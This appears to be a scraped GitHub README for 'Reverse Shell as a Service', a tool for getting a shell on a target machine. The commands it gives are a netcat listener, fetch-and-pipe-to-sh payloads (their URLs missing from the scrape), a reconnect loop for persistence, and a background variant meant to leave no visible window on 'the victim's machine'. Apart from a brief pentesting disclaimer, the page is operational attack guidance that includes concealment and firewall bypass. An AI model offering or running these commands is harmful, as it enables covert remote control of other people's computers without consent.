Skip to content


Switch branches/tags


Failed to load latest commit information.
Latest commit message
Commit time


Reverse Shell as a Service -

Build Status Coverage Status npm

Easy to remember reverse shell that should work on most Unix-like systems.

Detects available software on the target and runs an appropriate payload.


1. Listen for connection

On your machine, open up a port and listen on it. You can do this easily with netcat.

nc -l 1337

2. Execute reverse shell on target

On the target machine, pipe the output of into sh.

curl | sh

Go back to your machine, you should now have a shell prompt.

3. Don't be a dick

This is meant to be used for pentesting or helping coworkers understand why they should always lock their computers. Please don't use this for anything malicious.




You can use a hostname instead of an IP.

curl | sh

Remote connections

Because this is a reverse connection it can punch through firewalls and connect to the internet.

You could listen for connections on a server at and get a reverse shell from inside a secure network with:

curl | sh


By default when the shell exits you lose your connection. You may do this by accident with an invalid command. You can easily create a shell that will attempt to reconnect by wrapping it in a while loop.

while true; do curl | sh; done

Be careful if you do this to a coworker, if they leave the office with this still running you're opening them up to attack.

Running as a background process

The terminal session needs to be kept open to persist the reverse shell connection. That might be a bit of a giveaway if you're trying to prank coworkers.

The following command will run the reverse shell in a background process and exit the terminal, leaving no suspicious looking terminal windows open on the victim's machine.

Make sure you run this in a fresh terminal window otherwise you'll lose any work in your existing session.

sh -c "curl | sh -i &" && exit


MIT © Luke Childs